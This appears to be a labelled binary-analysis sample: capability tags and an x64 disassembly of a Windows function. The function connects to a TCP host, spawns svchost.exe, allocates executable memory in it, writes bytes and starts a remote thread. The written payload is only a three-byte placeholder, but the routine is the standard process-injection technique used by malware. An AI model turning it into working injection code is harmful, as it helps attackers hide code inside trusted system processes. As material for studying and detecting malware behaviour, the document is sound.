Function at 0x1400174c0
Capabilities:
Act as tcp client
Allocate or change rwx memory
Connect socket
Connect tcp socket
Connect udp socket
Convert ip address from string
Create process on windows
Create tcp socket
Create thread
Create udp socket
Execute shellcode via indirect call
Initialize winsock library
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
sub rsp, 0x2e0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x270], rcx
mov qword [rbp + 0x278], rdx
mov dword [rbp + 0x280], r8d
mov word [rbp + 0x25e], 0x202
movzx eax, word [rbp + 0x25e]
lea rdx, [rbp + 0x90]
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov dword [rbp + 0x258], eax
cmp dword [rbp + 0x258], 0
je 0x140017532
mov eax, dword [rbp + 0x258]
mov edx, eax
lea rax, str.WSAStartup_failed:__d_n
mov rcx, rax
call sym.printf_char_const__::_
jmp 0x140017889
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x250], rax
cmp qword [rbp + 0x250], 0xffffffffffffffff
jne 0x140017584
mov rax, qword [sym.imp.WS2_32.dll_WSAGetLastError]
call rax
mov edx, eax
lea rax, str.Socket_failed:__ld_n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x140017889
mov word [rbp + 0x80], 2
mov eax, dword [rbp + 0x280]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x82], ax
lea rax, [rbp + 0x80]
lea rdx, [rax + 4]
mov rax, qword [rbp + 0x278]
mov r8, rdx
mov rdx, rax
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_inet_pton]
call rax
lea rdx, [rbp + 0x80]
mov rax, qword [rbp + 0x250]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
mov dword [rbp + 0x24c], eax
cmp dword [rbp + 0x24c], 0xffffffff
jne 0x140017638
mov rax, qword [sym.imp.WS2_32.dll_WSAGetLastError]
call rax
mov edx, eax
lea rax, str.Connect_failed:__ld_n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x250]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x140017889
mov edx, dword [rbp + 0x280]
mov rax, qword [rbp + 0x278]
mov r8d, edx
mov rdx, rax
lea rax, str.Connected_to__s:_d_n
mov rcx, rax
call sym.printf_char_const__::_
lea rax, [rbp + 0x10]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x10], 0x68
lea rax, [rbp - 0x10]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
movabs rax, 0x2e74736f68637673
mov qword [rbp - 0x1c], rax
mov dword [rbp - 0x14], 0x657865
lea rax, [rbp - 0x1c]
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x10]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov eax, dword [rbp]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x240], rax
cmp qword [rbp + 0x240], 0
jne 0x140017742
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.OpenProcess_failed:__ld_n
mov rcx, rax
call sym.printf_char_const__::_
jmp 0x140017889
mov rax, qword [rbp + 0x240]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x400
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x238], rax
cmp qword [rbp + 0x238], 0
jne 0x14001779e
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.VirtualAllocEx_failed:__ld_n
mov rcx, rax
call sym.printf_char_const__::_
jmp 0x140017889
mov dword [rbp - 0x20], 0x2e2e2e
lea r8, [rbp - 0x20]
mov rdx, qword [rbp + 0x238]
mov rax, qword [rbp + 0x240]
lea rcx, [rbp - 0x28]
mov qword [rsp + 0x20], rcx
mov r9d, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rdx, qword [rbp + 0x238]
mov rax, qword [rbp + 0x240]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp + 0x230], rax
cmp qword [rbp + 0x230], 0
jne 0x140017841
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.CreateRemoteThread_failed:__ld_n
mov rcx, rax
call sym.printf_char_const__::_
jmp 0x140017889
mov rax, qword [rbp + 0x230]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x230]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x240]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
nop
add rsp, 0x2e0
pop rbp
ret